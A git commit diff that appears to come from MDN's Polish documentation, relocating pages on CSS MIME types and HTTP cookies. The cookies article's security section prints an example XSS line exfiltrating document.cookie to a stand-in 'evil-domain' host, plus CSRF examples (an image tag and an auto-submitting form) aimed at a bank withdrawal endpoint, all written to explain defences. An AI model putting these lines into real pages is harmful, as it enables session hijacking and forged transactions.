From de5c456ebded0e038adbf23db34cc290c8829180 Mon Sep 17 00:00:00 2001 From: Florian Merz Date: Thu, 11 Feb 2021 14:49:24 +0100 Subject: unslug pl: move --- .../web/http/basics_of_http/mime_types/index.html | 39 +++ files/pl/web/http/ciasteczka/index.html | 263 --------------------- files/pl/web/http/cookies/index.html | 263 +++++++++++++++++++++ files/pl/web/http/headers/data/index.html | 81 ------- files/pl/web/http/headers/date/index.html | 81 +++++++ .../http/http_wiadomosci_og\303\263lne/index.html" | 178 -------------- files/pl/web/http/overview/index.html | 178 ++++++++++++++ 7 files changed, 561 insertions(+), 522 deletions(-) create mode 100644 files/pl/web/http/basics_of_http/mime_types/index.html delete mode 100644 files/pl/web/http/ciasteczka/index.html create mode 100644 files/pl/web/http/cookies/index.html delete mode 100644 files/pl/web/http/headers/data/index.html create mode 100644 files/pl/web/http/headers/date/index.html delete mode 100644 "files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" create mode 100644 files/pl/web/http/overview/index.html (limited to 'files/pl/web/http') diff --git a/files/pl/web/http/basics_of_http/mime_types/index.html b/files/pl/web/http/basics_of_http/mime_types/index.html new file mode 100644 index 0000000000..b5f2753a78 --- /dev/null +++ b/files/pl/web/http/basics_of_http/mime_types/index.html @@ -0,0 +1,39 @@ +--- +title: Nieprawidłowy typ MIME plików CSS +slug: Nieprawidłowy_typ_MIME_plików_CSS +tags: + - CSS + - Wszystkie_kategorie +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +translation_of_original: Incorrect_MIME_Type_for_CSS_Files +--- +

 

+

W czym jest problem?

+

Może się zdarzyć, że natrafisz na stronę internetową, która korzysta z CSS i wygląda ubogo w Netscape 7.x lub innej przeglądarce opartej o Gecko, jak Mozilla, podczas gdy Internet Explorer (MSIE) wyświetli ową stronę "ładną". Jednym z częstych powodów takiej sytuacji jest nieprawidłowa konfiguracja serwera WWW hostującego plik CSS. Niektóre serwery internetowe oparte o Apache lub iPlanet wiążą pliki .css z nieodpowiednim typem MIME, jak np. text/plain lub text/x-pointplus. W niektórych przypadkach Netscape 7.x i Mozilla ignorują plik CSS ze względu na jego nieprawidłowy typ MIME i używają domyślnego arkusza stylów, przez co układ strony jest inny, niż zamierzał twórca strony.

+

Kiedy się tak dzieje?

+

Specyfikacja W3C stwierdza, że pliki CSS powinny być serwowane z typem MIME text/css. Mozilla i Netscape 7.x, kiedy pracują w trybie standardów, stosują się do specyfikacji i oczekują odpowiedniego typu MIME dla plików CSS (tryb standardów jest włączany, kiedy w pierwszej linii strony HTML zostanie umieszczone DTD Strict). W trybie zgodności wstecznej obydwie aplikacje tolerują nieodpowiedni typ MIME i użyją dołączonych stylów pomimo błędnej konfiguracji serwera. Oznacza to, że nie możesz używać dokumentów Strict przy źle skonfigurowanym serwerze. MSIE pozwala na to, gdyż - niepoprawnie - nie zwraca uwagi na typ MIME wysyłany przez serwer w nagłówku HTTP.

+

Co mogę zrobić, by to zmienić?

+

Musisz poprosić administratora serwera internetowego o uaktualnienie konfiguracji typów MIME.

+

Problem ten na serwerach iPlanet/Netscape został już zauważony przez producenta, który utworzył stosowną notatkę techniczną (zob. poniżej) w swojej bazie wiedzy.

+

Jeśli korzystasz z Apache'a, możesz także zmienić ustawienia w pliku .htaccess w głównym katalogu. (.htaccess jest plikiem konfiguracyjnym tylko do odczytu, który obsługuje kilka rzeczy, w tym typy MIME). Dodaj do swojego pliku .htaccess taką linię:

+
AddType text/css .css
+

Zwróć uwagę, że niektórzy administratorzy wyłączają użycie plików .htaccess na swoich serwerach, ponieważ powodują one niewielkie spadek wydajności.

+

Wnioski

+

Używanie ścisłej definicji typu dokumentu (Strict DTD) wraz z Mozillą oznacza, że serwer hostujący Twoje strony powinien być skonfigurowany prawidłowo. Jest kilka rozwiązań tego problemu, jednak najskuteczniejszym jest powiązanie odpowiedniego typu MIME z plikami .css. Poproś administratora aby naprawił to dla Ciebie, a wszyscy, którzy publikują HTML z DTD Strict, będą Ci wdzięczni!

+

Zmiana typów MIME na serwerach iPlanet/Sun

+

Problem

+

Użytkownikom wyświetlone zostaje okno Zapisz jako z typem zawartości ustawionym na application/x-pointplus lub zawartość pliku CSS jest wyświetlana jako tekst, kiedy arkusz CSS ma rozszerzenie .css.

+

Rozwiązanie

+

Typ pliku .css nie jest mapowany na arkusz CSS w domyślnej konfiguracji typów MIME serwera Enterprise Server. Możesz zmienić to mapowanie na stronie Global MIME Types.

+

By skorzystać z tej strony, wybierz w panelu administracyjnym Server Preferences, MIME Types i ustaw typ MIME dla .css na text/css zamiast application/x-pointplus.

+

Jeśli problem pozostanie, dodaj "KeepAliveTimeout 0" w magnus.conf.

+

W oparciu o: SunSolve, Sun Microsystems

+

Dodatkowe zasoby

+ +
+

Informacje o dokumencie

+ +
+

{{ languages( { "en": "en/Incorrect_MIME_Type_for_CSS_Files", "es": "es/Tipo_MIME_incorrecto_en_archivos_CSS", "fr": "fr/Type_MIME_incorrect_pour_les_fichiers_CSS" } ) }}

diff --git a/files/pl/web/http/ciasteczka/index.html b/files/pl/web/http/ciasteczka/index.html deleted file mode 100644 index d8720ac4c4..0000000000 --- a/files/pl/web/http/ciasteczka/index.html +++ /dev/null @@ -1,263 +0,0 @@ ---- -title: Ciasteczka HTTP -slug: Web/HTTP/Ciasteczka -tags: - - aplikacje internetowe - - ciasteczka - - ciasteczka artykuł - - dane - - pamięć przeglądarki - - pliki cookie - - protokoły - - prywatność - - przeglądarka - - serwer - - śledzenie - - żądania HTTP -translation_of: Web/HTTP/Cookies ---- -

{{HTTPSidebar}}

- -

Ciasteczka HTTP (pliki cookie) to niewielkie obiekty danych, które serwer wysyła do przeglądarki internetowej użytkownika. Przeglądarka może je przechowywać i wysyłać ponownie do tego samego serwera wraz z kolejnym żądaniem. Przeważnie są używane do określenia czy dwa żądania zostały nadane z tej samej przeglądarki, np. aby użytkownik pozostał zalogowany. Są sposobem na zapamiętanie informacji o stanie sesji pomimo bezstanowej natury protokołu HTTP.

- -

Główne zastosowania ciasteczek:

- -
-
Zarządzanie sesją
-
Loginy, koszyki sklepów internetowych, rezultaty w grach i wszystko inne o czym powinien pamiętać serwer
-
Personalizacja
-
Preferencje użytkownika, motywy i inne ustawienia
-
Śledzenie
-
Zapisywanie i analiza zachowania użytkownika
-
- -

Ciasteczka wykorzystywano kiedyś do przechowywania wszelkiego rodzaju plików po stronie klienta. Było to uzasadnione w czasach, gdy brakowało alternatywnych rozwiązań. Aktualnie zaleca się stosowanie nowoczesnych API do zapamiętywania danych. Ciasteczka są wysyłane wraz z każdym żądaniem, więc mogą spowodować pogorszenie wydajności (szczególnie dla połączeń mobilnych). Nowoczesne API do przechowywania plików to Web storage API (localStorage i sessionStorage) oraz IndexedDB.

- -
-

Aby podejrzeć przechowywane ciasteczka (lub inne pamięci, z których mogą korzystać strony internetowe) należy wejść w zakładkę Dane w narzędziach dla programistów dostępnych w przeglądarce.

-
- -

Tworzenie ciasteczek

- -

Otrzymując żądanie HTTP serwer może wysłać wraz z odpowiedzią nagłówek Set-Cookie. Ciasteczko jest zazwyczaj przechowywane przez przeglądarkę, by następnie zostać wysłane wraz z żądaniami do tego samego serwera jako wartość nagłówka Cookie. Istnieje opcja ustawienia daty wygaśnięcia lub czasu trwania, po których ciasteczko nie będzie wysyłane. Dodatkowo można ustawić ograniczenia dla konkretnej domeny lub ścieżki, aby dla wartości innych niż podane nie przesyłać ciasteczka.

- - - -

Nagłówek Set-Cookie jest zawarty w odpowiedzi serwera na żądanie HTTP agenta użytkownika (np. przeglądarki). Przykładowo:

- -
Set-Cookie: <nazwa-ciasteczka>=<wartość-ciasteczka>
- -

Ten nagłówek nadany przez serwer informuje klienta, że należy zapisać ciasteczko.

- -
Uwaga: W odnośnikach znajdują się przykłady użycia nagłówka Set-Cookie w różnych aplikacjach uruchamianych po stronie serwera: - - -
- -
HTTP/2.0 200 OK
-Content-type: text/html
-Set-Cookie: yummy_cookie=choco
-Set-Cookie: tasty_cookie=strawberry
-
-[page content]
- -

Teraz z każdym kolejnym żądaniem do serwera, używając nagłówka Cookie, przeglądarka będzie wysyłać także wszystkie przechowywane ciasteczka.

- -
GET /sample_page.html HTTP/2.0
-Host: www.example.org
-Cookie: yummy_cookie=choco; tasty_cookie=strawberry
- -

Ciasteczka sesyjne

- -

Ciasteczko stworzone w poprzedniej sekcji jest ciasteczkiem sesyjnym: zostaje usunięte wraz z wyłączeniem klienta, ponieważ nie użyto dyrektyw Expires lub Max-Age. Jednakże przeglądarki mogą użyć mechanizmu przywracania sesji, który zmienia większość ciasteczek sesyjnych w trwałe, tak jakby przeglądarka nie została nigdy zamknięta.

- -

Ciasteczka trwałe

- -

Zamiast wygasnąć po wyłączeniu klienta, trwałe ciasteczka wygasają w konkretnym terminie (Expires) lub po określonym czasie (Max-Age).

- -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
- -
-

Uwaga: Ustawiając termin wygaśnięcia, czas i data są określane w odniesieniu do klienta, który zapisuje ciasteczko, nie w odniesieniu do serwera.

-
- -

Ciasteczka Secure i HttpOnly

- -

Bezpieczne ciasteczko może być wysłane do serwera tylko i wyłącznie zaszyfrowanym żądaniem protokołu HTTPS. Nawet używając dyrektywy Secure, poufne dane nigdy nie powinny być przechowywane w ciasteczkach, ponieważ nie są one bezpieczne, a ta flaga nie może zaoferować dostatecznej ochrony. Zaczynając od przeglądarek Chrome 52 i Firefox 52, niepewne strony (http:) nie mają możliwości ustawiania ciasteczek z dyrektywą Secure.

- -

Aby ograniczać możliwości przeprowadzenia ataku cross-site scripting ({{Glossary("XSS")}}), ciasteczka HttpOnly są niedostępnie dla JavaScript'owego {{domxref("Document.cookie")}} API; można je tylko wysyłać do serwera. Przykładowo, ciasteczka utrzymujące sesję po stronie serwera nie muszą być dostępne dla JavaScript'u, więc flaga HttpOnly powinna być ustawiona.

- -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
- -

Zakres ciasteczek

- -

Dyrektywy Domain i Path definiują zakres ciasteczka: do jakich adresów URL ciasteczka powinny być wysyłane.

- -

Domain określa dozwolone hosty sieciowe. Jeżeli nie jest ustawiona to domyślną wartością jest host aktualnej lokalizacji dokumentu, z pominięciem subdomen. Jeżeli dyrektywa Domain jest określona to subdomeny zawsze są uwzględnione.

- -

Przykładowo, jeżeli ustawiono Domain=mozilla.org, to ciasteczka są uwzględnione także dla subdomen takich jak developer.mozilla.org.

- -

Path oznacza, że podana ścieżka URL musi być zawarta w żądanym adresie URL aby wysłać nagłówek Cookie. Znak %x2F ("/") jest uznawany za separator katalogu, a wszystkie podkatalogi także spełniają warunek.

- -

Jeżeli ustawiono Path=/docs, to następujące przykładowe ścieżki będą pasować:

- - - -

Ciasteczka SameSite {{experimental_inline}}

- -

Ciasteczka SameSite pozwalają serwerom wymagać, aby nie były one przesyłane żądaniami pomiędzy stronami internetowymi (gdzie {{Glossary("Site")}} jest zdefiniowane jako rejestrowalna domena), co zapewnia pewną ochronę od ataków Cross-Site Request Forgery ({{Glossary("CSRF")}}).

- -

Ciasteczka SameSite są relatywnie nowe, ale wspierane przez wszystkie główne przeglądarki internetowe.

- -

Przykładowo:

- -
Set-Cookie: nazwa=wartość; SameSite=Strict
- -

Atrybut SameSite może przyjmować jedną z trzech wartości (bez rozróżniania wielkości liter):

- -
-
None
-
Przeglądarka będzie wysyłać ciasteczka zarówno żądaniami pomiędzy stronami (cross-site) jak i żądaniami odnoszącymi się do aktualnej strony (same-site).
-
Strict
-
Przeglądarka będzie wysyłać ciasteczka tylko żądaniami same-site (pochodzącymi z witryny, która ustawia ciasteczko). Jeżeli żądanie nie pochodzi z adresu URL aktualnej lokacji to żadne z ciasteczek oznaczonych atrybutem Strict nie zostanie przesłane.
-
Lax
-
Ciasteczka SameSite są wstrzymywane przy żądaniach, które wywołują ładowanie obrazów lub ramek z innych stron. Będą jednak wysłane, gdy użytkownik przechodzi do adresu URL z zewnętrznej strony, np. poprzez kliknięcie w link.
-
- -
-

Przeglądarki decydują się na domyślne ustawianie SameSite=Lax. Jeżeli istnieje potrzeba wysyła ciasteczka pomiędzy różnymi źródłami (cross-origin), należy zrezygnować z zabezpieczenia SameSite używając wartości None dla tej dyrektywy. Wymaga ona obecności atrybutu Secure.

-
- -

Prefiksy ciasteczek {{experimental_inline}}

- -

Konstrukcja mechanizmu działania ciasteczek uniemożliwia serwerowi otrzymanie potwierdzenia ustawienia ciasteczka dla bezpiecznego źródła, a nawet dowiedzenia się gdzie ciasteczko zostało pierwotnie ustawione.  Każda subdomena jak na przykład application.example.com może ustawić ciasteczko, które będzie wysyłane wraz z żądaniami do example.com lub do innych subdomen dzięki ustawieniu atrybutu Domain:

- -
Set-Cookie: CSRF=e8b667; Secure; Domain=example.com
- -

Jeżeli podatna aplikacja jest dostępna na subdomenie to ten mechanizm może być wykorzystany w ataku session fixation. Gdy użytkownik odwiedza stronę na głównej domenie (lub innej subdomenie), aplikacja może zaufać istniejącej wartości wysłanej w ciasteczku użytkownika. To może pozwolić atakującemu ominąć zabezpieczenie przed CSRF lub przejąć sesję po zalogowaniu się użytkownika.

- -

Alternatywnie, jeżeli główna domena nie używa {{Glossary("HSTS")}} z ustawioną opcją includeSubdomains,  to użytkownikowi podlegającemu właśnie atakowi MitM (być może podłączonemu do otwartej sieci Wi-Fi) może zostać zwrócona odpowiedź na żądanie wraz z ustawionym nagłówkiem Set-Cookie z nieistniejącej subdomeny. Wynik końcowy byłby taki sam, ponieważ przeglądarka przechowywałaby nielegalny plik cookie i wysyłałaby go na wszystkie inne strony w domenie example.com.

- -

Aby ograniczyć możliwości przeprowadzenia ataku session fixation powinno się przede wszystkim ponownie generować wartości ciasteczka sesyjnego gdy użytkownik się uwierzytelnia (nawet jeśli ciasteczko już istnieje) i dokonywać powiązania tokena CSRF z użytkownikiem. W ramach silniejszej obrony możliwe jest użycie prefiksów ciasteczek w celu potwierdzenia pewnych faktów na temat samych ciasteczek. Dostępne są dwa prefiksy:

- -
-
__Host-
-
Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę Set-Cookie oznaczoną jako Secure, wysłaną z bezpiecznego źródła (HTTPS), nie posiadającą atrybutu Domain i mającą atrybut Path o wartości /. Tym sposobem ciasteczka mogą być widoczne jako "domain-locked".
-
__Secure-
-
Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę Set-Cookie oznaczoną jako Secure i wysłaną z bezpiecznego źródła (HTTPS). Jest to słabsze zabezpieczenie niż prefiks __Host-.
-
- -

Ciasteczka niespełniające kryteriów zostaną odrzucone przez przeglądarkę. Zapewnia to, że gdyby subdomena spróbowała stworzyć takie ciasteczko, to zostanie ono ograniczone do subdomeny lub całkowicie zignorowane. Podczas określania, czy użytkownik jest uwierzytelniony lub czy token CSRF jest poprawny, serwer aplikacji sprawdza tylko ciasteczka o określonych nazwach. Dzięki temu mechanizm prefiksów efektywnie działa jako obrona przed session fixation.

- -
-

Aplikacja będąca serwerem musi sprawdzić ciasteczko o pełnej nazwie uwzględniającej prefiks. Dlatego agent użytkownika aplikacji nie wytnie prefiksu przed wysłaniem ciasteczka w nagłówku {{HTTPHeader("Cookie")}}.

-
- -

Aby uzyskać więcej informacji o prefiksach ciasteczek i aktualnym stanie wspieralności tego rozwiązania przez przeglądarki odwiedź sekcję Set-Cookie.

- -

Dostęp JavaScript za pomocą Document.cookie

- -

Nowe ciasteczka mogą być tworzone z użyciem JavaScriptu poprzez użycie właściwości {{domxref("Document.cookie")}}, a jeżeli flaga HttpOnly nie jest ustawiona, to także istniejące ciasteczka są dostępne.

- -
document.cookie = "yummy_cookie=choco";
-document.cookie = "tasty_cookie=strawberry";
-console.log(document.cookie);
-// logs "yummy_cookie=choco; tasty_cookie=strawberry"
- -

Ciasteczka stworzone z użyciem JavaScriptu nie mogą zawierać flagi HttpOnly.

- -

Ciasteczka dostępne dla JavaScriptu są narażone na cyberataki. Więcej szczegółów znajduje się w poniższej sekcji.

- -

Bezpieczeństwo

- -
-

Należy zawsze pamiętać, że informacje przechowywane w ciasteczkach będą widoczne i mogą zostać zmodyfikowane przez użytkownika. W zależności od aplikacji, pożądane może być użycie nieprzejrzystego identyfikatora sprawdzanego po stronie serwera lub rozważenie alternatywnych mechanizmów uwierzytelniania/poufności takich jak JSON Web Tokens.

-
- -

Przejmowanie sesji i XSS

- -

Ciasteczka są często używane w aplikacjach webowych do identyfikowania użytkownika i jego uwierzytelnionej sesji, więc kradzież ciasteczka może prowadzić do jej przejęcia. Powszechnymi sposobami kradzieży ciasteczek są inżynieria społeczna i wykorzystywanie podatności XSS w aplikacjach.

- -
(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;
- -

Atrybut HttpOnly może pomóc uniknąć tego ataku poprzez zablokowanie JavaScriptowi dostępu do wartości ciasteczka.  Sposobem na złagodzenie skutków takiego ataku jest wdrożenie surowej polityki bezpieczeństwa treści (CSP).

- -

Cross-site request forgery (CSRF)

- -

Na stronie Wikipedii znajduje się dobry przykład {{Glossary("CSRF")}}. W tej sytuacji ktoś załączył element "img", który tak na prawdę nie jest obrazem (np. na niefiltrowanym czacie lub forum), a zamiast tego jest żądaniem do serwera banku użytkownika mającym na celu wypłatę pieniędzy:

- -
<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
- -

Jeżeli jesteś aktualnie zalogowany na swoim koncie bankowym i odpowiadające ciasteczka są dalej aktualne (i nie ma żadnej dodatkowej walidacji), to próba załadowania "obrazka" zakończy się przelewem pieniędzy. Dla punktów końcowych wymagających żądania POST jest możliwe aby  programowo wykonać potwierdzenie formularza (być może zawartego w niewidzialnym elemencie <iframe>) gdy strona jest ładowana:

- -
<form action="https://bank.example.com/withdraw" method="POST">
-  <input type="hidden" name="account" value="bob">
-  <input type="hidden" name="amount" value="1000000">
-  <input type="hidden" name="for" value="mallory">
-</form>
-<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>
-
- -

Jest kilka technik, których stosowanie powinno być używane do zapobiegania CSRF:

- - - -

Śledzenie i prywatność

- -

Ciasteczka podmiotów zewnętrznych (third-party cookies)

- -

Ciasteczka zawsze mają przyporządkowaną jakąś domenę. Jeżeli jest ona tą samą domeną co domena aktualnie odwiedzanej strony to nazywamy ciasteczko własnym (first-party cookie). W innym przypadku mówimy o ciasteczku zewnętrznego podmiotu/witryny. Podczas gdy ciasteczka własne są wysyłane tylko do serwerów, które je ustawiły, strona internetowa może zawierać obrazki lub inne komponenty przechowywane na serwerach w innych domenach (np. banery reklamowe). Takie ciasteczka są głównie używane do reklam i śledzenia. Dobrym przykładem są ciasteczka używane przez Google. Większość przeglądarek domyślnie zezwala na działanie ciasteczek zewnętrznych podmiotów, ale istnieją dodatki blokujące je (np. Privacy Badger stworzony przez EFF).

- -

Jeżeli jako serwis internetowy nie ujawniasz faktu używania ciasteczek zewnętrznych podmiotów to zaufanie użytkowników może zostać nadszarpnięte, gdy się o tym dowiedzą. Wyraźna informacja (np. w polityce prywatności) zazwyczaj eliminuje wszelkie negatywne skutki ich obecności. Niektóre kraje mają także przepisy dotyczące ciasteczek. Zobacz na przykładzie oświadczenia fundacji Wikimedia o plikach cookie.

- -

Do-Not-Track

- -

Nie ma prawnych lub technologicznych wymagań używania nagłówka DNT, ale może on być użyty aby zasygnalizować, że aplikacja webowa powinna wyłączyć mechanizm śledzenia lub śledzenia poszczególnych użytkowników przez jednego użytkownika. Zobacz DNT aby uzyskać więcej informacji.

- - - -

Wymagania dla ciasteczek w Unii Europejskiej są zdefiniowane w dyrektywie 2009/136/EC wydanej przez Parlament Europejski, która weszła w życie 25 maja 2011. Dyrektywa sama w sobie nie jest prawem, ale wymaganiem wprowadzenia prawa spełniającego jej wymagania przez państwa członkowskie. Prawo może różnić się w zależności od państwa.

- -

W skrócie, dyrektywa wymusza na zarządzających stronami internetowymi uzyskanie świadomej zgody od użytkowników na przechowywanie i pobieranie jakiejkolwiek informacji dostępnej na komputerze, komórce czy innym urządzeniu, z którego korzystają. Od wprowadzenia nowego prawa wiele stron dodało banery informujące użytkowników o używaniu ciasteczek.

- -

Aby dowiedzieć się więcej, sprawdź artykuł na Wikipedii oraz zdobądź informacje jak wygląda aktualne prawo w docelowym regionie.

- -

Ciasteczka zombie i  "Evercookies"

- -

Bardziej radykalnym podejściem do ciasteczek są ciasteczka zombie lub "Evercookies", które po usunięciu są w stanie odtworzyć się na nowo. Zostały zaprojektowane tak, aby ciężko było usunąć je na zawsze. W celu zapewnienia tej funkcjonalności implementacje używają m.in. Web storage API i Flash Local Shared Objects.

- - - -

Zobacz także

- - diff --git a/files/pl/web/http/cookies/index.html b/files/pl/web/http/cookies/index.html new file mode 100644 index 0000000000..d8720ac4c4 --- /dev/null +++ b/files/pl/web/http/cookies/index.html @@ -0,0 +1,263 @@ +--- +title: Ciasteczka HTTP +slug: Web/HTTP/Ciasteczka +tags: + - aplikacje internetowe + - ciasteczka + - ciasteczka artykuł + - dane + - pamięć przeglądarki + - pliki cookie + - protokoły + - prywatność + - przeglądarka + - serwer + - śledzenie + - żądania HTTP +translation_of: Web/HTTP/Cookies +--- +

{{HTTPSidebar}}

+ +

Ciasteczka HTTP (pliki cookie) to niewielkie obiekty danych, które serwer wysyła do przeglądarki internetowej użytkownika. Przeglądarka może je przechowywać i wysyłać ponownie do tego samego serwera wraz z kolejnym żądaniem. Przeważnie są używane do określenia czy dwa żądania zostały nadane z tej samej przeglądarki, np. aby użytkownik pozostał zalogowany. Są sposobem na zapamiętanie informacji o stanie sesji pomimo bezstanowej natury protokołu HTTP.

+ +

Główne zastosowania ciasteczek:

+ +
+
Zarządzanie sesją
+
Loginy, koszyki sklepów internetowych, rezultaty w grach i wszystko inne o czym powinien pamiętać serwer
+
Personalizacja
+
Preferencje użytkownika, motywy i inne ustawienia
+
Śledzenie
+
Zapisywanie i analiza zachowania użytkownika
+
+ +

Ciasteczka wykorzystywano kiedyś do przechowywania wszelkiego rodzaju plików po stronie klienta. Było to uzasadnione w czasach, gdy brakowało alternatywnych rozwiązań. Aktualnie zaleca się stosowanie nowoczesnych API do zapamiętywania danych. Ciasteczka są wysyłane wraz z każdym żądaniem, więc mogą spowodować pogorszenie wydajności (szczególnie dla połączeń mobilnych). Nowoczesne API do przechowywania plików to Web storage API (localStorage i sessionStorage) oraz IndexedDB.

+ +
+

Aby podejrzeć przechowywane ciasteczka (lub inne pamięci, z których mogą korzystać strony internetowe) należy wejść w zakładkę Dane w narzędziach dla programistów dostępnych w przeglądarce.

+
+ +

Tworzenie ciasteczek

+ +

Otrzymując żądanie HTTP serwer może wysłać wraz z odpowiedzią nagłówek Set-Cookie. Ciasteczko jest zazwyczaj przechowywane przez przeglądarkę, by następnie zostać wysłane wraz z żądaniami do tego samego serwera jako wartość nagłówka Cookie. Istnieje opcja ustawienia daty wygaśnięcia lub czasu trwania, po których ciasteczko nie będzie wysyłane. Dodatkowo można ustawić ograniczenia dla konkretnej domeny lub ścieżki, aby dla wartości innych niż podane nie przesyłać ciasteczka.

+ + + +

Nagłówek Set-Cookie jest zawarty w odpowiedzi serwera na żądanie HTTP agenta użytkownika (np. przeglądarki). Przykładowo:

+ +
Set-Cookie: <nazwa-ciasteczka>=<wartość-ciasteczka>
+ +

Ten nagłówek nadany przez serwer informuje klienta, że należy zapisać ciasteczko.

+ +
Uwaga: W odnośnikach znajdują się przykłady użycia nagłówka Set-Cookie w różnych aplikacjach uruchamianych po stronie serwera: + + +
+ +
HTTP/2.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]
+ +

Teraz z każdym kolejnym żądaniem do serwera, używając nagłówka Cookie, przeglądarka będzie wysyłać także wszystkie przechowywane ciasteczka.

+ +
GET /sample_page.html HTTP/2.0
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+ +

Ciasteczka sesyjne

+ +

Ciasteczko stworzone w poprzedniej sekcji jest ciasteczkiem sesyjnym: zostaje usunięte wraz z wyłączeniem klienta, ponieważ nie użyto dyrektyw Expires lub Max-Age. Jednakże przeglądarki mogą użyć mechanizmu przywracania sesji, który zmienia większość ciasteczek sesyjnych w trwałe, tak jakby przeglądarka nie została nigdy zamknięta.

+ +

Ciasteczka trwałe

+ +

Zamiast wygasnąć po wyłączeniu klienta, trwałe ciasteczka wygasają w konkretnym terminie (Expires) lub po określonym czasie (Max-Age).

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+ +
+

Uwaga: Ustawiając termin wygaśnięcia, czas i data są określane w odniesieniu do klienta, który zapisuje ciasteczko, nie w odniesieniu do serwera.

+
+ +

Ciasteczka Secure i HttpOnly

+ +

Bezpieczne ciasteczko może być wysłane do serwera tylko i wyłącznie zaszyfrowanym żądaniem protokołu HTTPS. Nawet używając dyrektywy Secure, poufne dane nigdy nie powinny być przechowywane w ciasteczkach, ponieważ nie są one bezpieczne, a ta flaga nie może zaoferować dostatecznej ochrony. Zaczynając od przeglądarek Chrome 52 i Firefox 52, niepewne strony (http:) nie mają możliwości ustawiania ciasteczek z dyrektywą Secure.

+ +

Aby ograniczać możliwości przeprowadzenia ataku cross-site scripting ({{Glossary("XSS")}}), ciasteczka HttpOnly są niedostępnie dla JavaScript'owego {{domxref("Document.cookie")}} API; można je tylko wysyłać do serwera. Przykładowo, ciasteczka utrzymujące sesję po stronie serwera nie muszą być dostępne dla JavaScript'u, więc flaga HttpOnly powinna być ustawiona.

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+ +

Zakres ciasteczek

+ +

Dyrektywy Domain i Path definiują zakres ciasteczka: do jakich adresów URL ciasteczka powinny być wysyłane.

+ +

Domain określa dozwolone hosty sieciowe. Jeżeli nie jest ustawiona to domyślną wartością jest host aktualnej lokalizacji dokumentu, z pominięciem subdomen. Jeżeli dyrektywa Domain jest określona to subdomeny zawsze są uwzględnione.

+ +

Przykładowo, jeżeli ustawiono Domain=mozilla.org, to ciasteczka są uwzględnione także dla subdomen takich jak developer.mozilla.org.

+ +

Path oznacza, że podana ścieżka URL musi być zawarta w żądanym adresie URL aby wysłać nagłówek Cookie. Znak %x2F ("/") jest uznawany za separator katalogu, a wszystkie podkatalogi także spełniają warunek.

+ +

Jeżeli ustawiono Path=/docs, to następujące przykładowe ścieżki będą pasować:

+ + + +

Ciasteczka SameSite {{experimental_inline}}

+ +

Ciasteczka SameSite pozwalają serwerom wymagać, aby nie były one przesyłane żądaniami pomiędzy stronami internetowymi (gdzie {{Glossary("Site")}} jest zdefiniowane jako rejestrowalna domena), co zapewnia pewną ochronę od ataków Cross-Site Request Forgery ({{Glossary("CSRF")}}).

+ +

Ciasteczka SameSite są relatywnie nowe, ale wspierane przez wszystkie główne przeglądarki internetowe.

+ +

Przykładowo:

+ +
Set-Cookie: nazwa=wartość; SameSite=Strict
+ +

Atrybut SameSite może przyjmować jedną z trzech wartości (bez rozróżniania wielkości liter):

+ +
+
None
+
Przeglądarka będzie wysyłać ciasteczka zarówno żądaniami pomiędzy stronami (cross-site) jak i żądaniami odnoszącymi się do aktualnej strony (same-site).
+
Strict
+
Przeglądarka będzie wysyłać ciasteczka tylko żądaniami same-site (pochodzącymi z witryny, która ustawia ciasteczko). Jeżeli żądanie nie pochodzi z adresu URL aktualnej lokacji to żadne z ciasteczek oznaczonych atrybutem Strict nie zostanie przesłane.
+
Lax
+
Ciasteczka SameSite są wstrzymywane przy żądaniach, które wywołują ładowanie obrazów lub ramek z innych stron. Będą jednak wysłane, gdy użytkownik przechodzi do adresu URL z zewnętrznej strony, np. poprzez kliknięcie w link.
+
+ +
+

Przeglądarki decydują się na domyślne ustawianie SameSite=Lax. Jeżeli istnieje potrzeba wysyła ciasteczka pomiędzy różnymi źródłami (cross-origin), należy zrezygnować z zabezpieczenia SameSite używając wartości None dla tej dyrektywy. Wymaga ona obecności atrybutu Secure.

+
+ +

Prefiksy ciasteczek {{experimental_inline}}

+ +

Konstrukcja mechanizmu działania ciasteczek uniemożliwia serwerowi otrzymanie potwierdzenia ustawienia ciasteczka dla bezpiecznego źródła, a nawet dowiedzenia się gdzie ciasteczko zostało pierwotnie ustawione.  Każda subdomena jak na przykład application.example.com może ustawić ciasteczko, które będzie wysyłane wraz z żądaniami do example.com lub do innych subdomen dzięki ustawieniu atrybutu Domain:

+ +
Set-Cookie: CSRF=e8b667; Secure; Domain=example.com
+ +

Jeżeli podatna aplikacja jest dostępna na subdomenie to ten mechanizm może być wykorzystany w ataku session fixation. Gdy użytkownik odwiedza stronę na głównej domenie (lub innej subdomenie), aplikacja może zaufać istniejącej wartości wysłanej w ciasteczku użytkownika. To może pozwolić atakującemu ominąć zabezpieczenie przed CSRF lub przejąć sesję po zalogowaniu się użytkownika.

+ +

Alternatywnie, jeżeli główna domena nie używa {{Glossary("HSTS")}} z ustawioną opcją includeSubdomains,  to użytkownikowi podlegającemu właśnie atakowi MitM (być może podłączonemu do otwartej sieci Wi-Fi) może zostać zwrócona odpowiedź na żądanie wraz z ustawionym nagłówkiem Set-Cookie z nieistniejącej subdomeny. Wynik końcowy byłby taki sam, ponieważ przeglądarka przechowywałaby nielegalny plik cookie i wysyłałaby go na wszystkie inne strony w domenie example.com.

+ +

